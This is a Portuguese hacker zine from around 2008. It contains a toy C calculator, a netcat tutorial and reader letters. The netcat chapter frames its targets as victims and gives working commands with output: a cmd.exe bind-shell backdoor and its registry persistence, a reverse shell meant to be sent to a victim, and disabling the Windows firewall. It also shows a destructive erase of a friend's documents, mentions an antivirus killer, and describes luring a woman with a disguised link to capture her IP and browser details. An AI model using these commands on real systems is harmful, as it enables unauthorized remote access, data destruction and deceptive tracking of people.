xXx=============================xXx
      The King of calculators 
xXx=============================xXx

Hi! Estou trazendo mais uma calculadora maneira proces rsrs, 
já foi calc em batch e js, hoje vai rolar uma em C, aeee!!! Espero 
que gostem, pois passei uns 10 minutos fazendo essa porcaria, ei ei ei,
a famosa função system ta na area e meu velho ingles de butiquim também 
XP, puta merda, dei uma americanizada totalmente vagabunda no code da
calc, só pra deixar a parada mais maneira ^^. Todo mundo diz que o 
que é escrito em ingles tem mais valor porra hauhauah!!! Então vamos
valorizar 10 min do meu precioso tempo, sou um homem muito ocupado 
rsrsr ^^ (Que mentira da porra!! Passo o dia sem fazer nada rsrs). 


                --------- foxCalc.c ---------

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


int divisao (int a, int b){
  printf ("The result is: %d\n\a", (a / b));
   printf ("Press Any Key For Exit...");
  system ("pause > nul");}
      
int multiplicacao (int valor1, int valor2){
    printf ("The result is: %d\n\a", (valor1 * valor2));
     printf ("Press Any Key For Exit...");
    system ("pause > nul");}
    
int subtracao (int valor1, int valor2){
   printf ("The result is: %d\n\a", (valor1 - valor2));
    printf ("Press Any Key For Exit...");
   system ("pause > nul");}

int main ()
{
    int operation;
    Label:
    system ("cls");
    system ("title Simple Calculator v0.1 Beta");
    printf ("Simple Calculator v0.1 Beta by 6_Bl4ck9_f0x6\n\
    Copyright 200*-2008 Viper Corp.\n\n\n");
    printf ("======================================================\n");
    printf ("Sintax:\n\n[+ = somar] [- = subtrair] [* = multiplicar] \
[/ = dividir]\n\n"); 
    printf ("======================================================\n");
    printf ("Write your operator:");
    scanf ("%c", &operation);
    if (operation == '+')
    {
     int numberone, numbertwo;
     system ("cls");
     printf ("This is your operator (+)\n\n");
     printf ("Write first number and press enter:");
     scanf ("%d", &numberone);
     printf ("Write secound number and press enter:");
     scanf ("%d", &numbertwo);
     printf ("\n%d + %d = %d\n\n", numberone, numbertwo,(numberone + numbertwo));
     printf ("Press Any Key For Exit...");
     system ("pause > nul");
     return (0);
     }
     else if (operation == '-')
     {
      int numberone, numbertwo;
      system ("cls");
      printf ("This is your operator (-)\n\n");
      printf ("Write first number and press enter:");
      scanf ("%d", &numberone);
      printf ("Write secound number and press enter:");
      scanf ("%d", &numbertwo);
      subtracao (numberone, numbertwo);  
      return (0);
     }
     if (operation == '*')
     {
     system ("cls");
     int operador1, operador2;
     printf ("This is your operator (*)\n\n");
     printf ("Write first number and press enter:");
     scanf ("%d", &operador1);
     printf ("Write secound number and press enter:");
     scanf ("%d", &operador2);
     multiplicacao (operador1, operador2);
     return (0);
     }
     if (operation == '/')
     {
     int valor1, valor2;
     system ("cls");              
     printf ("This is your operator (/)\n\n"); 
     printf ("Write first number and press enter:");
     scanf ("%d", &valor1);
     printf ("Write secound number and press enter:");
     scanf ("%d", &valor2);
     divisao (valor1, valor2);
     return (0);
     }     
     else 
     {
     system ("cls");
     printf ("\n\nSorry your operator is invalid...");
     Sleep (1000);
     goto Label;
     }
     return (0);
} 

  --------- cut ---------

Eu acho que eu esqueci de alguma coisa, hum...


----- C4p1Tul0 15

[+ ====================================== +] 
            X=======xxXxx========X             
            -> O Imortal Netcat <- 
            X=======xxXxx========X                                    
[+ ====================================== +


[]==-----------------x-------X----------x-----------------------==[]
  Atenção: C voce "pensa" que manja tudo do netcat e esta louco
  para dizer que o assunto do texto ja ta mais manjado que arroz e 
  feijão, gostaria de dizer uma coisa for you -> Esse texto naum é 
  para voce amigo =) 
                  
                   Ideia extract from zine f3-06:
  
                        ==> ~~~ ( * )

                  To gozando no cu de voceis :P
                                   
[]==-----------------x-------X----------x-----------------------==[]
 

Esse texto e todos os outros que eu vinher a escrever, serão dedicados
a todos os escritores de textos que um dia cheguei a ler =) Um eterno 
aprendiz como eu nunca seria nada sem todos voces, na verdade ninguem
seria nada sem ninguem, trocamos conhecimentos para evoluir juntos, ou 
(quase sempre) apenas exibir nossos conhecimentos sem a menor pretenção 
de ajudar o proximo, escrevendo txt's de dificil compreensão por parte 
dos iniciantes e de curiosos que poderiam vir a ser novos talentos no 
nosso mundo, ou undermundo, backmundo, foremundo =) Enfim, vamos
começar a baixaria -.O. Na minha mais que sincera opinião, a melhor 
ferramenta manoh! Se eu pegar algum filho de uma * arromb4do dizendo
que o netcat num presta, eu soco uma torradeira no * desse fdp.Cof! Cof!
Desculpem a baixaria, agora to + calmo =)

Voce pode fazer muuitas coisas com o netcat, quando digo muitas, eu quero
dizer "muuuuitas" msm. Para um help digite nc -h, vou traduzir apenas as 
options que iremos utilizar, pois a intenção aqui é lhe da uma boa "base" 
do netcat ;)


C:\>nc -h
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, background mode

        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Baixem o netcat aqui:

v1.11 NT

http://www.hunterhacker.xpg.com.br/22.zip

Voce pode entrar no diretorio dos arquivos do nc usando o 'cd', 
ou mesmo ajustar seu PATH para encontrar o diretorio do rapaz. 
Sem duvida uma das formas de utilização mais rapidas e menos 
cheias de frescura, é extrair para o system32 =) Ou seja, 

             baixou -> extract for system32 ;)

Ja que vc's viram o 'system32', isso significa que iremos utilizar 
qual OS? Aeee! Se vc respondeu -> win <- ganhou um beijinho 
imaginario (claro!) :P Mas... ainda nesse texto abordaremos a 
instalação e utilização do netcat em -> Unixes like <- da vida, pois 
como sempre, se tu começar no win, fica mais facil mecher nos 
-> Unixes like da vida <-, tipo, eu mostro a utilização no win e 
depois (que voces entenderem) é só adaptar pequenas coisinhas
para o netcat funcionar nos -> Unixes like da vida <-, são 
pequenos detalhes como a opção '-L' (Ei <-- Isso é case =) 
que não rebindeia a porta apos a encerramento da conexão, 
porque os Unixes -> like da vida <- são muito fulero's, mas tambem 
tem a questao das portas no -> Unixes like da vida <-, porque 
abaixo de 1024 só root tem permissões para bindear uma porta.
Eh amigo, o -> Unix like da vida <- é fogo =)

Continuando... 

 
Vamos a algumas options traduzidas e adaptadas by me (:]) manoh!

========================================================
-d -> Com essa porra o netcat fica rodando em background.
-e -> Posso manipular um program para que o user mecha quando ele der um TCP 
connect na door em listen.

-l -> Abre uma porta, quando o maluco desconectar ela fica fechada 
-L -> TB Abre abre uma porta, mas dessa vez a porta vai reabrir após o closesocket 
do maluco.  

-n -> Só cata number's IP, nada de DNS baby ;)
-p -> Determina qual a porta que será aberta
-r -> Randomize local and remote ports
-u -> UDP mode 
-v -> Verbose do capeta manoh!  Usa ai o -vv
-w -> Determina um tempo limite para duração de uma conexão
-z -> Num deixa o netcat ficar conectado num scan
========================================================

Backdoor 

Vamos fazer uma backdoor com o netcat:

C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe
listening on [any] 666 ...

-------------------------------------------------
Da um telnet nessa porta -> telnet 127.0.0.1 666 
-------------------------------------------------

C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe
listening on [any] 666 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1655

La no cliente:

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>
 
Explicação:

nc -L      -p 666       -vv     -e cmd.exe -> Manipulamos o shell que ja ta no PATH ;) <-
|   |      | _ _ |         |
|   |         |            + -> A tal da verbose para obtermos mais informações na action's 
|   |         |
|   |         + ->Definimos que seria a porta '666' a aberta <-
|   | 
|   + -> Abre a tal da porta, reabrindo a mesma depois do closesock <-
|  
+ -> Sempre usar 'nc' antes da sintaxe :] lol <-


Rodando netcat na memoria 

Quando o server-side fecha a shell que ta recebendo a conexão, o cliente morre (dã),
mas acho que isso ta na cara :P, para evitar isso foi criado a opção -d ;) 

nc -L -p 666 -d -e cmd.exe

Sempre que o cliente conecta vai ter uma shell esperando ele =) Lembrando que até a
vitima fazer logoff ou algo do tipo :P, mas voce pode iniciar o bicho na maquina usando 
o reg add e compilando um batch em aplicação fantasma. Para matar pegue a pid do 
garoto:

C:\Documents and Settings\David>tasklist

Nome da imagem            Identi Nome da sessão    Sessão# Uso de memór
========================= ====== ================ ======== ============
System Idle Process            0 Console                 0         20 K
System                         4 Console                 0         48 K
smss.exe                     680 Console                 0         44 K
csrss.exe                    736 Console                 0      1.100 K
winlogon.exe                 760 Console                 0      2.912 K
services.exe                 808 Console                 0      1.284 K
lsass.exe                    820 Console                 0      1.320 K
explorer.exe                 260 Console                 0     12.880 K
HackerEliminator.exe        1164 Console                 0      5.568 K
ashDisp.exe                 1212 Console                 0        660 K
msdtc.exe                   1584 Console                 0         56 K
Abel.exe                    1708 Console                 0         48 K
aswUpdSv.exe                1860 Console                 0         52 K
ashServ.exe                 1900 Console                 0      1.564 K
inetinfo.exe                1960 Console                 0      1.220 K
PGPsdkServ.exe              1992 Console                 0      1.020 K
locator.exe                  336 Console                 0         28 K
snmp.exe                     376 Console                 0        420 K
tlntsvr.exe                  548 Console                 0         48 K
wdfmgr.exe                   592 Console                 0         40 K
winvnc4.exe                 1376 Console                 0        700 K
vmnetdhcp.exe                824 Console                 0        292 K
cmd.exe                     3268 Console                 0        800 K  
nc.exe                      3596 Console                 0      1.812 K  < ----
nc.exe                      2764 Console                 0      1.964 K  < ----
tasklist.exe                3168 Console                 0      4.684 K
wmiprvse.exe                 788 Console                 0      3.980 K

Achamos os processos pelas imagens (nc.exe) e temos suas PID's, 
vamos meter um unico tiro na's cabeça's dessa's porra's manoh! 

C:\Documents and Settings\David>taskkill /f /PID 3596 & taskkill /f /PID 2764 & echo Bang!
ÊXITO: o processo com PID 3596 foi encerrado.
ÊXITO: o processo com PID 2764 foi encerrado.
Bang!


-n -> Only Numerical :P (inglish vagabundo =)

DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 2256   --> Sem -n <--

C:\Documents and Settings\David>nc -L -n -p 666 -vv -e cmd.exe
listening on [any] 666 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1760  --> Com o -n <--


 ------ > Engraçadamente netcat <  ------

Isso ae é baum proces zuarem com seus manow's:
            
                   --- sangue_baum.bat ---

@echo off 
:Magic
set Magic_word=Queijo
set /p palavra_magica=Digite a palavra magica ai manoh:
if /I %palavra_magica% EQU %Magic_word% (
exit ) ELSE (
echo Esta Magic_word esta... Errada!! =] & pause) 
goto :Magic
 
                  --- cut nessa porra here =) ---

C:\Documents and Settings\David>nc -L -p 789 -vv -e \sangue_baum.bat
listening on [any] 789 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1807

Cliente:

Digite a palavra magica ai manoh:  < ----  hauhauha!!!


 ------ > Varrendo hosts com o netcat < ------

C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-22
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 22 (?): connection refused
localhost [127.0.0.1] 21 (ftp) open
localhost [127.0.0.1] 20 (ftp-data): connection refused
sent 0, rcvd 0: NOTSOCK

To varrendo da porta 22 a porta 20 do meu addr de loopback, regredindo manoh.
O '-z' foi usado ai pro netcat num parar na porta de algum serviço, ou seja, assim
ele conecta e desconecta. Sem o '-z':

C:\Documents and Settings\David>nc -vv 127.0.0.1 20-22
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 22 (?): connection refused
localhost [127.0.0.1] 21 (ftp) open
220-Microsoft FTP Service
    =========================
    Bem vindo ao Machinered
220 =========================

Sacou manoh!? Usei duas verboses ai para obter mais informações sobre 
o scan. Se quizermos obter na shell, a saida somente com portas abertas 
no host varrido, utilizamos apenas uma verbose:

C:\Documents and Settings\David>nc -z -v 127.0.0.1 10-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 25 (smtp) open
localhost [127.0.0.1] 23 (telnet) open
localhost [127.0.0.1] 21 (ftp) open

Very easy! Mas para a galerinha que ta começando é sempre bom ver
o nome dos protocolos e as suas respectivas portas "padrões", por 
isso não recomento o uso de uma verbose por parte dos iniciantes =)

 -------- > Com o -n < -------- 

(UNKNOWN) [127.0.0.1] 22 (?): connection refused
(UNKNOWN) [127.0.0.1] 21 (?) open
(UNKNOWN) [127.0.0.1] 20 (?): connection refused
sent 0, rcvd 0: NOTSOCK

Repara aqui manoh! ->  21 (?)  <- O netcat num mostrar
nem o nome do serviço, quando vc ta usando a opt -n :P 

 -------- > Sem o -r < --------

C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1]   ->   25  <-    (smtp): connection refused
localhost [127.0.0.1]   ->   24  <-     (?): connection refused
localhost [127.0.0.1]   ->   23  <-     (telnet) open
localhost [127.0.0.1]   ->   22  <-     (?): connection refused
localhost [127.0.0.1]   ->   21  <-     (ftp) open
localhost [127.0.0.1]   ->   20  <-      (ftp-data): connection refused
sent 0, rcvd 0: NOTSOCK

 -------- > Com o -r < --------

C:\Documents and Settings\David>nc -z -r -vv 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1]   ->   21 <-   (ftp) open
localhost [127.0.0.1]   ->   22 <-   (?): connection refused
localhost [127.0.0.1]   ->   24 <-   (?): connection refused
localhost [127.0.0.1]   ->   25 <-   (smtp): connection refused
localhost [127.0.0.1]   ->   20 <-   (ftp-data): connection refused
localhost [127.0.0.1]   ->   23 <-   (telnet) open
sent 0, rcvd 0

Repare bem na sequencia =)

  ------->Usando o -w<-------

Bem, vamos supor que por algum motivo qualquer voce queira ver os 
banners dos serviços nox host'x remotos na hora da varredura, eu até 
entenderia isso, pois pode ser uma boa auternativa se tratando de 
ataque de footprint ;)
 
C:\Documents and Settings\David>nc -w 1 -r -vv 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 20 (ftp-data): connection refused
localhost [127.0.0.1] 25 (smtp) open
220 Sendmail 8.11.13   < -- Banner gerado por um honeypot de baixa interatividade
localhost [127.0.0.1] 22 (?): connection refused
localhost [127.0.0.1] 24 (?): connection refused
localhost [127.0.0.1] 21 (ftp) open
220-Microsoft FTP Service
    =========================
    Bem vindo ao Machinered
220 =========================
net timeout
localhost [127.0.0.1] 23 (telnet) open
%$3222@!!# net timeout      < -- Representando o's Lixos (ASCII's)
sent 0, rcvd 141: NOTSOCK
 
Explicação: 

nc -w 1 -r -vv 127.0.0.1 20-25 --> Varre da porta 20 a 25 romdomizando
as portas, se conecta, exibe o banner e disconnect depois de 1 seg ;]
Achu que Servidores, costumam mostrar seus nomes e suas versoes no banner manoh!!
Imagina ai aqueles servers velhos de guerra vulveraveis a overflow, como 
o ->'Sami FTP Server'<- Se voce encontrar alguns destes, pode até conseguir
acesso ao sistema do camarada "remotamente" utilizando algun exploit, ou simplesmente 
derrubalos enviando buffer's diabolicos com grandes quantidades de bytes 
Atenção:           --> (D.O.S é coisa de Kiddie ;) <--

Só os banners manoh!

C:\Documents and Settings\David>nc -w 1 -v 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator

localhost [127.0.0.1] 25 (smtp) open
220 Sendmail 8.11.13  -- > Essa porra de "Sendmail" tem mais bug que formigueiro  

Pergunta: Por que alguém usaria um servidor telnet que não seja o do windows? 
Fauta de conhecimento? Yes! É disso que precisamos, precisamos de vitimas que 
não saibam o que estão fazendo :P

localhost [127.0.0.1] 23 (telnet) open
lixo%¨&*9854  < --- Monte de lixo :P


localhost [127.0.0.1] 21 (ftp) open
220 Eu_sou-vulneravel-ftp 1.7.0   --> Temos aqui a versão 1.7.0 do programa 
Eu_sou-vulneravel-ftp, e que todos sabem que é vulneralvel (menos o sysop do host rsrs)

O -w é muito bom pra brincar de dar um tempo para um cliente-side fazer
o que quizer no seu sistema, tipo, um amigo foi brincar disso comigo e se
arrependeu :]

-----------------------------------------------------------------------------
    ----> erase /F /S /P "%HOMEPATH%\Meus documentos" <----
-----------------------------------------------------------------------------

C:\Documents and Settings\David>erase /F /S /P "%HOMEPATH%\Meus documentos"
C:\Documents and Settings\David\Meus documentos\connect.cpp, Excluir (S/N)? S <- Fudeu! :]
Arquivo excluído - C:\Documents and Settings\David\Meus documentos\connect.cpp
C:\Documents and Settings\David\Meus documentos\elhacker.net.url, Excluir (S/N)? <- Ctrl+c for jump
C:\Documents and Settings\David\Meus documentos\Explorer.scf, Excluir (S/N)? n <- Bonzinho ^^ 
C:\Documents and Settings\David\Meus documentos\IMAGEM!!!.JPG, Excluir (S/N)? n <- 1 Angel ^^  
C:\Documents and Settings\David\Meus documentos\Netstat.cpp, Excluir (S/N)? <- Ctrl+c [jump]
C:\Documents and Settings\David\Meus documentos\Netstat.exe, Excluir (S/N)? < -- Jump
C:\Documents and Settings\David\Meus documentos\Netstat.zip, Excluir (S/N)? < -- Jump
C:\Documents and Settings\David\Meus documentos\Readme.txt, Excluir (S/N)?  < -- Jump

TIRA O ->'/P'<- MANOH! :]

Conexão reversa usando o netcat ;]

No seu host deixe duas portas listening 


C:\>nc -L -p 1 -vv         
listening on [any] 1 ...     < ------Receberá-a-conexão----------- +
                                                                     
                                                                      
                                                                           
C:\>nc -L -p 2 -vv                                 
listening on [any] 1 ...     < ------Receberá-a-conexão----------- +                       


Manda pra vitima algo do tipo compilado ou em 'batch' mesmo:

nc ->inet_addr<- 1 | cmd.exe | nc ->inet_addr<- 2 

Onde inet_addr é o seu endereço logico = ->IP<-

Para testar use seu end de loopback, ficando assim:

nc 127.0.0.1 1 | cmd.exe | nc 127.0.0.1 2 

======================================
C:\>nc -L -p 1 -vv
listening on [any] 1 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1933
======================================
C:\>nc -L -p 2 -vv
listening on [any] 2 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1934
Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>
======================================


C:\>nc -L -p 1 -vv
listening on [any] 1 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1946
dir   <---- Executa os command's nessa shell manoh! e ->Olha a saida na outra<-



 []==xXx========[ ******* ]========xXx==[]
   ---- > Sniffer with netcat < ---- 
       x              x               x
 []==xXx========[ ******* ]========xXx==[]

Use um redirecionador de url qualquer e mande seu endereço IP 
"disfarçado" para a vitima :] Tipo assim, manda pra uma mina
(vitima = Feminino -> Que cara maxista =) uma url bem loca, 
algo mais ou menos do tipo:

quero_seu_ip_gostosa.4-all.org 

Se liga no FQDN ->Grates!!<- Se liga no dominio ->Se cadastra!<-

A Parada é essa truta:

nc -L -p 80 -vv > \daemon_log.log

Se liguem que a porta de servidor de web é a 80 (http), os browser's
por default costumam se conectar nos host's da vida pela porta 80, ou 
seja -> Porta que está em listen no seu host. Vc's lembram que com 
verbose o netcat mostra o endereço IP do cliente-side quando ele se 
conecta? Entaum... Bingo!! 

                ---> http://localhost <---

C:\Documents and Settings\David>nc -L -p 80 -vv >> \daemon_log.log
listening on [any] 80 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 2004

Reparem que utilizei um redirecionador para jogar a saida (result's)
para o arquivo daemon_log.log na minha raiz ('\'). Vamos ver os logs:


C:\Documents and Settings\David>type \daemon_log.log
GET / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

              ->PARA QUEM GOSTA DE FOOTPRINT AI É UM PRATO CHEIO MANOH!<-
 
   User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0

Tem exploit que so funfa para determinados browser's (Mozilla/5.0), determinados OS's 
(Windows) e podem ser apenas para certo idioma (pt-BR), pois as vezes fica complicado
achar uma falha universal e tals ;)

Lembrando que o nc re-bindea a porta para aguardar + vitimas ;] E já que
o redirecionador '>>' sempre acrescenta novos bytes no final do arquivo,
eu posso ter uma grande lista de endereços IPs e informações de browsers, 
OS's e etc se eu tiver um pingo de raciocinio em minha mente... e se meu 
MSN estiver 
                        --> movimentado =) <--

Acho melhor que estabelecer uma conexão usando VOIP, mandar link 
sempre da menos na telha ^^. Tipo, com o netstat c pode pegar um IP, 
C vai mandar uma foto, sua maquina vai mandar um SYN pro host, então 
o netstat imprime um -> SYN_SENT <- e tal's, mas se vc naum tiver um 
bom queixo, a vitima desconfia dessas fotinhas e tals, e para justificar
url furada é mais facil manoh!! =)

Detalhes, Detalhes

Manoh! Se liga! Se a vitima estiver usando um proxy, voce vai pegar o 
IP do proxy cara, e como eu estava falando, se ela de um netstat ela pega
teu IP facim, facim, porque ai vai rolar um bacanal (

  Proto  Endereço local         Endereço externo       Estado
  TCP    Violator:http          localhost:2031         ESTABLISHED) 

sacou? Ou até mesmo um:

  Proto  Endereço local         Endereço externo       Estado
  TCP    127.0.0.1:80           127.0.0.1:2031         ESTABLISHED

Loopback é foda Xp

                                     --->Mais detalhes<--- 

Tu naum vai pensando que é 100% maravilhas mexer com o netcat naum manoh.
Se liga c tu consegue abrir as portas da vida, ou seja -> se liga no firewall manoh! 
Para desabilitar o fw do windows (default), basta digitar
                   
                           ->  net stop sharedaccess <- 

e katapimba! Caso for o zone alarm e essas paradinhas da vida, tenta usar um killer,
procura o que o Royall codou. Achu que mata mais de 500's, um amigo disse que 
era 10 mil XPXPXP Eita!! Nunca parei para contar ^^, mas o batch é muito loco 
msm, num vo postar lá no FTP proces, pq num to com sacow para procurar o killer.
E tipo assim, escrever textos contendo link's furados eh fogo, my's txt's tem que ser
eternamente perfect's (Mas porque o: http://www.hunterhacker.xpg.com.br/22.zip?)
(Porque eu quiz porr4! X). ah! Parece que a vQue eu tenho, num pega o KasperSky pq 
ele ta apelando (foi isso que eu ouvi la no forum =)

     --- > Enviando e recebendo arquivos (and ASCII's in Shell ) <--  

Esse negocio de env(f)iando e recebendo pode lhes parecer um tanto quanto....
Imundo!! Mas tipo assim, é verdade XP. Se liga ai:

 Exemplo de 'printf' em string'x nos files (ASCII'S):

C:\Documents and Settings>echo Hi Guys! > \my_file.diz & nc -l -p 6969 -vv < \my_file.diz
listening on [any] 6969 ...

  -> telnet 127.0.0.1 6969 <- 

Hi Guys!         --- > Na janela do shell 
_

DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 2095
 sent 12, rcvd 0       < -- Detalhe manoh! 

Quando estamos escutando em uma porta e rebindeando a mesma, 'ou não',
-> podemos visualizar relatorios de envio (send) e recebimento 
(recv =) dos dados na conexão passada, usando duas verboses (-vv) manoh:

sent 12, rcvd 0

sent -> Enviado 
rcvd -> Recebido

Ja que minha anterior sintaxe de conexão foi 'apenas' para 
'conectar' (lolz), assim lendo o conteudo no arquivo 'my_file.diz'
->  na shell, vamos utilizar o netcat para pegar o file agora:

C:\Documents and Settings\David>nc 127.0.0.1 6969 > \file.diz
^C   < -- Ctrl + C (Ja peguei o file msm :P eh he he...)
C:\Documents and Settings\David>type \file.diz
Hi Guys!

sent 12, rcvd 0 <-- Só pra dar um verniz, que se pode obter os dados do trafego
na janela servidora ( ->Por causa das "duas" verboses<- ) ;]

Ei! Isso também funfa com binario viu manoh! Claro que vc sacou, nem 
precisava ter falado ;)  Manja a sintaxe ae manoh (-w 3): 

C:\Documents and Settings\David>nc -w 3 127.0.0.1 6969 > \file.diz

Achu que em 3 sec's da pra pegar dboa o my_file.diz e passar pro outro lado como
-> file.diz X-). Lembrando que utilizei o -w Wait -> 'no cliente-side' <-.O>

-.-

 --- > File flood ahuahuah! < --- 

-.-

Putz, com essa historia de file flood eu fui floodado no dk (me baniram hauhauha!!),
zuera, num foi por causa dissU naum, mas dexa qetu. Tipo, num é um file flood naum, 
é...como eu posso dizer... um repositorio de string que voce terá do outro lado, tipo 
assim, manda tua mina se conectar e começar a escrever sobre a relação nesse texto 
que será armazenado num file do outro lado (server-side), pq tu ta de saida e tals:

C:\Documents and Settings>nc -l -p 222 -vv > escreve_pirada.txt
listening on [any] 222 ...


Pirada -> nc 127.0.0.1 222 

Escreveu no shell -> Vou comer seu figado cretino!!

connect to [127.0.0.1] from localhost [127.0.0.1] 2162
 sent 0, rcvd 31 < -- =)

O bom de voce utilizar o nc para se conectar nas coisas está ai amigos, tipo, com 
o telnet voce nao conseguiria ver o que estava escrevendo, ja com o netcat sim!! 
Sem duvida, o melhor cliente de qualquer coisa é o netcat, tipo, se ainda não achou 
algum servidor que ele num connect bem :P, adapta ele =)

Ainda existe diversas coisas maneiras, mas eu paro por aqui!!! Tipo, tem muuuita
coisa mesmo irmãos, o netcat pode ser usado para tudo! Cliente POP, FTP, etc.
O escabal manoh! Espero que tenham gostado de mais um txt meu, e espero muito 
continuar escrevendo a zine para todos voces evoluirem com o que eu um dia gostei
de aprender, assim também evoluindo =)

Ei, achu que estou esquecendo de alguma coisa... Ah! Lembrei:

Netcat Linux 

Opa, vamos começar baixando a ferramenta ^^... Baixa o netcat para linux ai manoh! ehehe. 
Nao tenho nada contra o AV Killer do Royall, só que to com preguiça de postar e o netcat 
ja ta la no host e tals :]  -> : http://www.hunterhacker.xpg.com.br/netcat-0.7.1.tar.gz

Cara, descompacta essa parada ai e instala com -> ./configure && make && make install 
e faz tudo ai em cima descrito no texto, só que onde tem cmd.exe tu bota /bin/bash ou sh 
ou qualquer outro shell (Se bobear bota até o 'false' -> oh! <-_) prontu! Voce agora eh um 
hackão mais hackitico que existe :P 

                                                                         6_Bl4ck9_f0x6
                                                                         Viper Corp Group


----- C4p1Tul0 16

[+ ====================================== +] 
               -> MAIL BOX  <-
      xxxxxxxxxxxxXXXxXXXxxxxxxxxxxxxxxxxxx                                       
[+ ====================================== +] 


De: ALIG_wicked
Subject: Yo Raposa ...


Entao velho naum esquenta com os post's ...

O lance do video que quero fazer pra vc naum ter surpresa eh assim:

Eu queria mostrar um outro mundo mais profissional...
Honestamente vejo um potencial em ti ... desde que voce naum acabe indo
pro lado da criminalidade. Naum estou dizendo que vc faz parte desse mundo 
ou que um dia fara'. Na verdade queria citar p q tive um amigo a uns 10 anos 
atras que acabou numa penitenciaria e viciado em coca. O cara manjava muito
mais que eu ... ele tinha esse mesmo entusiamo que vejo em vc hoje.

entao,
Dias 22,23 e 24 ... estarei participando da Infosecurity Europe 
( http://www.infosec.co.uk/ ) naum eh um evento tipo blackhat ou defcon .. na 
verdade eh um evento dos patroes dos caras que participam da blackhat e defcon 
( hehehe ). Mais empresarial mesmo. Estarei lah p q como falei estou estruturando 
a minha propria empresa e vou atras de contactos e etc ...

E vou postar aqui no ISTF. Mais boca de siri ateh lah...

Sobre o projeto metasploit-br tah paradao ateh eu terminar as coisas da minha 
empresa. Tenho que ter foco ou naum termino nem uma coisa nem outra.

Estou te mandando um livro sobre o metasploit razoavel caso vc naum tenha.
Bem, acho que tu jah podes pular lah pra pagina 147 .

Capitulo: Cases Estudies.

Baixe aqui:
http://rapidshare.com/files/103054431/Metasploit_Toolkit_-_Syngress.pdf.html

Do meu lado, na verdade estah estacionando um tutorial que estou fazendo baseado
num exemplo onde escrevemos um exploit do zero (com algumas modificacoes minhas)
do livro ShellCoders . Muito ditadico. Apliquei ao metasploit ... mais como falei 
infelizmente naum posso mudar o foco das coisas que tenho fazer nesse momento.

[s]

--Andre.

Resposta:

Isso ai foi um MP que ele me mandou no ISTF, ou seja, se um de meus maiores idolos 
está dizendo que eu tenho potencial, isso significa que... eu realmente devo ter =)
Sei que essa porra aqui não é um ->MPBox<- e sim ->MailBox<-, mas ta valendo, só
estou me sentindo o tal =) Tipo assim, procurem saber mais sobre o Andre Amorim, 
vejam o seu site (OST pentest) e tals, dai voces me digam dpois se naum era para eu
estar me achando eheheh. André:

Voce é o cara manoh =)
 
                          ========== X === X ==========

De: Morticia
Subject: Ei cara...

Meu querido 6_Bl4ck9_f0x6,

Gostaria muito de saber se pretende publicar algum texto meu em sua zine, é...
é que eu gostaria muito de faze-la evoluir assim como voce evolui, nunca vi um 
menino conseguir ler um book daqueles que te passei em um dia e no outro dizer
para mim que fez um soft maneiro baseado no que aprendeu...

Como voce pode ter a cara de madeira de dizer que ainda faz o primeiro ano 
com 18 anos...? ce vc tem essa capacidade toda de raciocinio. Ainda vou em 
sua cidadezinha lhe ver meu caro, e vê se para de escrever em alguns textos 
seus que é meu fã, pois me parece que as coisas estão se invertendo...:)

Um abraço moleque maneiro e não deixa de mandar noticias. 

Resposta:

Enfim pessoal, temos aqui um classico caso de f3licidade multipla, DOIS de
meus maiores idolos me elogiam...:) Morticia e André, ta fautando ainda aqui
o nosso amigo Rodrigo Rubira (Eita!!! ), voodoo (Eita!!!) e nash leon (Eita!!!).
